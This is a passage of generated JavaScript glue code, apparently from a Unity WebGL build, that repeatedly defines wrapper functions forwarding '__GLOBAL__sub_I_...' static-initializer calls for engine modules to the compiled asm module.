Module["asm"]["__GLOBAL__sub_I_AnimationScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_AssetBundleFileSystem_cpp=Module["__GLOBAL__sub_I_AssetBundleFileSystem_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_AssetBundleFileSystem_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_AssetBundleScriptingClasses_cpp=Module["__GLOBAL__sub_I_AssetBundleScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_AssetBundleScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_AudioScriptingClasses_cpp=Module["__GLOBAL__sub_I_AudioScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_AudioScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_ClothScriptingClasses_cpp=Module["__GLOBAL__sub_I_ClothScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_ClothScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_DirectorScriptingClasses_cpp=Module["__GLOBAL__sub_I_DirectorScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_DirectorScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_External_ProphecySDK_BlitOperations_1_cpp=Module["__GLOBAL__sub_I_External_ProphecySDK_BlitOperations_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_External_ProphecySDK_BlitOperations_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_External_Yoga_Yoga_0_cpp=Module["__GLOBAL__sub_I_External_Yoga_Yoga_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_External_Yoga_Yoga_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_External_il2cpp_builds_external_baselib_Platforms_WebGL_Source_0_cpp=Module["__GLOBAL__sub_I_External_il2cpp_builds_external_baselib_Platforms_WebGL_Source_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_External_il2cpp_builds_external_baselib_Platforms_WebGL_Source_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_GUITexture_cpp=Module["__GLOBAL__sub_I_GUITexture_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_GUITexture_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_GfxDeviceNull_cpp=Module["__GLOBAL__sub_I_GfxDeviceNull_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_GfxDeviceNull_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_GridScriptingClasses_cpp=Module["__GLOBAL__sub_I_GridScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_GridScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_IMGUIScriptingClasses_cpp=Module["__GLOBAL__sub_I_IMGUIScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_IMGUIScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_InputLegacyScriptingClasses_cpp=Module["__GLOBAL__sub_I_InputLegacyScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_InputLegacyScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_InputScriptingClasses_cpp=Module["__GLOBAL__sub_I_InputScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_InputScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_LogAssert_cpp=Module["__GLOBAL__sub_I_LogAssert_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_LogAssert_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Lump_libil2cpp_gc_cpp=Module["__GLOBAL__sub_I_Lump_libil2cpp_gc_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Lump_libil2cpp_gc_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Lump_libil2cpp_icalls_cpp=Module["__GLOBAL__sub_I_Lump_libil2cpp_icalls_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Lump_libil2cpp_icalls_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Lump_libil2cpp_metadata_cpp=Module["__GLOBAL__sub_I_Lump_libil2cpp_metadata_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Lump_libil2cpp_metadata_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Lump_libil2cpp_mono_cpp=Module["__GLOBAL__sub_I_Lump_libil2cpp_mono_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Lump_libil2cpp_mono_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Lump_libil2cpp_os_cpp=Module["__GLOBAL__sub_I_Lump_libil2cpp_os_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Lump_libil2cpp_os_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Lump_libil2cpp_utils_cpp=Module["__GLOBAL__sub_I_Lump_libil2cpp_utils_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Lump_libil2cpp_utils_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Lump_libil2cpp_vm_cpp=Module["__GLOBAL__sub_I_Lump_libil2cpp_vm_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Lump_libil2cpp_vm_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Lump_libil2cpp_vm_utils_cpp=Module["__GLOBAL__sub_I_Lump_libil2cpp_vm_utils_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Lump_libil2cpp_vm_utils_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Mesh_cpp=Module["__GLOBAL__sub_I_Mesh_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Mesh_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Animation_0_cpp=Module["__GLOBAL__sub_I_Modules_Animation_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Animation_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Animation_2_cpp=Module["__GLOBAL__sub_I_Modules_Animation_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Animation_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Animation_7_cpp=Module["__GLOBAL__sub_I_Modules_Animation_7_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Animation_7_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Animation_Constraints_0_cpp=Module["__GLOBAL__sub_I_Modules_Animation_Constraints_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Animation_Constraints_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_AssetBundle_Public_0_cpp=Module["__GLOBAL__sub_I_Modules_AssetBundle_Public_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_AssetBundle_Public_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Audio_Public_0_cpp=Module["__GLOBAL__sub_I_Modules_Audio_Public_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Audio_Public_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Audio_Public_1_cpp=Module["__GLOBAL__sub_I_Modules_Audio_Public_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Audio_Public_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Audio_Public_3_cpp=Module["__GLOBAL__sub_I_Modules_Audio_Public_3_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Audio_Public_3_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Audio_Public_ScriptBindings_1_cpp=Module["__GLOBAL__sub_I_Modules_Audio_Public_ScriptBindings_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Audio_Public_ScriptBindings_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Audio_Public_sound_0_cpp=Module["__GLOBAL__sub_I_Modules_Audio_Public_sound_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Audio_Public_sound_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Cloth_0_cpp=Module["__GLOBAL__sub_I_Modules_Cloth_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Cloth_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_DSPGraph_Public_1_cpp=Module["__GLOBAL__sub_I_Modules_DSPGraph_Public_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_DSPGraph_Public_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Grid_Public_0_cpp=Module["__GLOBAL__sub_I_Modules_Grid_Public_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Grid_Public_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_IMGUI_0_cpp=Module["__GLOBAL__sub_I_Modules_IMGUI_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_IMGUI_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_IMGUI_1_cpp=Module["__GLOBAL__sub_I_Modules_IMGUI_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_IMGUI_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Input_Private_0_cpp=Module["__GLOBAL__sub_I_Modules_Input_Private_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Input_Private_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_ParticleSystem_0_cpp=Module["__GLOBAL__sub_I_Modules_ParticleSystem_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_ParticleSystem_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Physics2D_Public_0_cpp=Module["__GLOBAL__sub_I_Modules_Physics2D_Public_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Physics2D_Public_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Physics2D_Public_1_cpp=Module["__GLOBAL__sub_I_Modules_Physics2D_Public_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Physics2D_Public_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Physics_0_cpp=Module["__GLOBAL__sub_I_Modules_Physics_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Physics_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Physics_2_cpp=Module["__GLOBAL__sub_I_Modules_Physics_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Physics_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Profiler_Public_1_cpp=Module["__GLOBAL__sub_I_Modules_Profiler_Public_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Profiler_Public_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Profiler_Runtime_1_cpp=Module["__GLOBAL__sub_I_Modules_Profiler_Runtime_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Profiler_Runtime_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Subsystems_0_cpp=Module["__GLOBAL__sub_I_Modules_Subsystems_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Subsystems_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Terrain_Public_0_cpp=Module["__GLOBAL__sub_I_Modules_Terrain_Public_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Terrain_Public_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Terrain_Public_1_cpp=Module["__GLOBAL__sub_I_Modules_Terrain_Public_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Terrain_Public_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Terrain_Public_2_cpp=Module["__GLOBAL__sub_I_Modules_Terrain_Public_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Terrain_Public_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Terrain_Public_3_cpp=Module["__GLOBAL__sub_I_Modules_Terrain_Public_3_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Terrain_Public_3_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Terrain_VR_0_cpp=Module["__GLOBAL__sub_I_Modules_Terrain_VR_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Terrain_VR_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_TextCore_Native_FontEngine_0_cpp=Module["__GLOBAL__sub_I_Modules_TextCore_Native_FontEngine_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_TextCore_Native_FontEngine_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_TextRendering_Public_0_cpp=Module["__GLOBAL__sub_I_Modules_TextRendering_Public_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_TextRendering_Public_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Tilemap_0_cpp=Module["__GLOBAL__sub_I_Modules_Tilemap_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Tilemap_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Tilemap_Public_0_cpp=Module["__GLOBAL__sub_I_Modules_Tilemap_Public_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Tilemap_Public_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_UI_0_cpp=Module["__GLOBAL__sub_I_Modules_UI_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_UI_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_UI_1_cpp=Module["__GLOBAL__sub_I_Modules_UI_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_UI_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_UI_2_cpp=Module["__GLOBAL__sub_I_Modules_UI_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_UI_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_UnityWebRequest_Public_0_cpp=Module["__GLOBAL__sub_I_Modules_UnityWebRequest_Public_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_UnityWebRequest_Public_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_VFX_Public_0_cpp=Module["__GLOBAL__sub_I_Modules_VFX_Public_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_VFX_Public_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_VFX_Public_1_cpp=Module["__GLOBAL__sub_I_Modules_VFX_Public_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_VFX_Public_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_VFX_Public_Systems_0_cpp=Module["__GLOBAL__sub_I_Modules_VFX_Public_Systems_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_VFX_Public_Systems_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_VR_0_cpp=Module["__GLOBAL__sub_I_Modules_VR_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_VR_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_VR_1_cpp=Module["__GLOBAL__sub_I_Modules_VR_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_VR_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_Video_Public_Base_0_cpp=Module["__GLOBAL__sub_I_Modules_Video_Public_Base_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_Video_Public_Base_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_XR_0_cpp=Module["__GLOBAL__sub_I_Modules_XR_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_XR_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_XR_Public_0_cpp=Module["__GLOBAL__sub_I_Modules_XR_Public_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_XR_Public_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_XR_Stats_0_cpp=Module["__GLOBAL__sub_I_Modules_XR_Stats_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_XR_Stats_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_XR_Subsystems_Display_0_cpp=Module["__GLOBAL__sub_I_Modules_XR_Subsystems_Display_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_XR_Subsystems_Display_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_XR_Subsystems_Input_Public_0_cpp=Module["__GLOBAL__sub_I_Modules_XR_Subsystems_Input_Public_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_XR_Subsystems_Input_Public_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_XR_Subsystems_Input_Public_1_cpp=Module["__GLOBAL__sub_I_Modules_XR_Subsystems_Input_Public_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_XR_Subsystems_Input_Public_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_XR_Subsystems_Meshing_0_cpp=Module["__GLOBAL__sub_I_Modules_XR_Subsystems_Meshing_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_XR_Subsystems_Meshing_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Modules_XR_Tracing_0_cpp=Module["__GLOBAL__sub_I_Modules_XR_Tracing_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Modules_XR_Tracing_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_ParticleSystemScriptingClasses_cpp=Module["__GLOBAL__sub_I_ParticleSystemScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_ParticleSystemScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Physics2DScriptingClasses_cpp=Module["__GLOBAL__sub_I_Physics2DScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Physics2DScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_PhysicsQuery_cpp=Module["__GLOBAL__sub_I_PhysicsQuery_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_PhysicsQuery_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_PhysicsScriptingClasses_cpp=Module["__GLOBAL__sub_I_PhysicsScriptingClasses_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_PhysicsScriptingClasses_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_PlatformDependent_WebGL_External_baselib_builds_Source_0_cpp=Module["__GLOBAL__sub_I_PlatformDependent_WebGL_External_baselib_builds_Source_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_PlatformDependent_WebGL_External_baselib_builds_Source_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_PlatformDependent_WebGL_Source_0_cpp=Module["__GLOBAL__sub_I_PlatformDependent_WebGL_Source_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_PlatformDependent_WebGL_Source_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_PlatformDependent_WebGL_Source_2_cpp=Module["__GLOBAL__sub_I_PlatformDependent_WebGL_Source_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_PlatformDependent_WebGL_Source_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_PluginInterfaceVR_cpp=Module["__GLOBAL__sub_I_PluginInterfaceVR_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_PluginInterfaceVR_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_2D_Renderer_0_cpp=Module["__GLOBAL__sub_I_Runtime_2D_Renderer_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_2D_Renderer_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_2D_Sorting_0_cpp=Module["__GLOBAL__sub_I_Runtime_2D_Sorting_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_2D_Sorting_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_2D_SpriteAtlas_0_cpp=Module["__GLOBAL__sub_I_Runtime_2D_SpriteAtlas_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_2D_SpriteAtlas_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Allocator_2_cpp=Module["__GLOBAL__sub_I_Runtime_Allocator_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Allocator_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Application_0_cpp=Module["__GLOBAL__sub_I_Runtime_Application_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Application_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_BaseClasses_0_cpp=Module["__GLOBAL__sub_I_Runtime_BaseClasses_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_BaseClasses_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_BaseClasses_1_cpp=Module["__GLOBAL__sub_I_Runtime_BaseClasses_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_BaseClasses_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_BaseClasses_2_cpp=Module["__GLOBAL__sub_I_Runtime_BaseClasses_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_BaseClasses_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_BaseClasses_3_cpp=Module["__GLOBAL__sub_I_Runtime_BaseClasses_3_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_BaseClasses_3_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Burst_0_cpp=Module["__GLOBAL__sub_I_Runtime_Burst_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Burst_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Camera_0_cpp=Module["__GLOBAL__sub_I_Runtime_Camera_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Camera_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Camera_1_cpp=Module["__GLOBAL__sub_I_Runtime_Camera_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Camera_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Camera_2_cpp=Module["__GLOBAL__sub_I_Runtime_Camera_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Camera_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Camera_6_cpp=Module["__GLOBAL__sub_I_Runtime_Camera_6_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Camera_6_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Camera_7_cpp=Module["__GLOBAL__sub_I_Runtime_Camera_7_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Camera_7_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Camera_8_cpp=Module["__GLOBAL__sub_I_Runtime_Camera_8_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Camera_8_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Camera_Culling_0_cpp=Module["__GLOBAL__sub_I_Runtime_Camera_Culling_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Camera_Culling_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Camera_RenderLoops_0_cpp=Module["__GLOBAL__sub_I_Runtime_Camera_RenderLoops_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Camera_RenderLoops_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Camera_RenderLoops_2_cpp=Module["__GLOBAL__sub_I_Runtime_Camera_RenderLoops_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Camera_RenderLoops_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Containers_0_cpp=Module["__GLOBAL__sub_I_Runtime_Containers_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Containers_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Core_Callbacks_0_cpp=Module["__GLOBAL__sub_I_Runtime_Core_Callbacks_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Core_Callbacks_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Director_Core_1_cpp=Module["__GLOBAL__sub_I_Runtime_Director_Core_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Director_Core_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Export_Unsafe_0_cpp=Module["__GLOBAL__sub_I_Runtime_Export_Unsafe_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Export_Unsafe_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_File_0_cpp=Module["__GLOBAL__sub_I_Runtime_File_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_File_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Geometry_2_cpp=Module["__GLOBAL__sub_I_Runtime_Geometry_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Geometry_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_GfxDevice_1_cpp=Module["__GLOBAL__sub_I_Runtime_GfxDevice_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_GfxDevice_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_GfxDevice_2_cpp=Module["__GLOBAL__sub_I_Runtime_GfxDevice_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_GfxDevice_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_GfxDevice_3_cpp=Module["__GLOBAL__sub_I_Runtime_GfxDevice_3_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_GfxDevice_3_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_GfxDevice_4_cpp=Module["__GLOBAL__sub_I_Runtime_GfxDevice_4_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_GfxDevice_4_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_GfxDevice_5_cpp=Module["__GLOBAL__sub_I_Runtime_GfxDevice_5_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_GfxDevice_5_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_GfxDevice_opengles_0_cpp=Module["__GLOBAL__sub_I_Runtime_GfxDevice_opengles_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_GfxDevice_opengles_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_0_cpp=Module["__GLOBAL__sub_I_Runtime_Graphics_0_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Graphics_0_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_10_cpp=Module["__GLOBAL__sub_I_Runtime_Graphics_10_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Graphics_10_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_11_cpp=Module["__GLOBAL__sub_I_Runtime_Graphics_11_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Graphics_11_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_1_cpp=Module["__GLOBAL__sub_I_Runtime_Graphics_1_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Graphics_1_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_2_cpp=Module["__GLOBAL__sub_I_Runtime_Graphics_2_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Graphics_2_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_4_cpp=Module["__GLOBAL__sub_I_Runtime_Graphics_4_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Graphics_4_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_5_cpp=Module["__GLOBAL__sub_I_Runtime_Graphics_5_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Graphics_5_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_6_cpp=Module["__GLOBAL__sub_I_Runtime_Graphics_6_cpp"]=(function(){return Module["asm"]["__GLOBAL__sub_I_Runtime_Graphics_6_cpp"].apply(null,arguments)});var __GLOBAL__sub_I_Runtime_Graphics_8_cpp=Module["__GLOBAL__sub_I_Runtime_Graphics_8_cpp"]=(function(){return 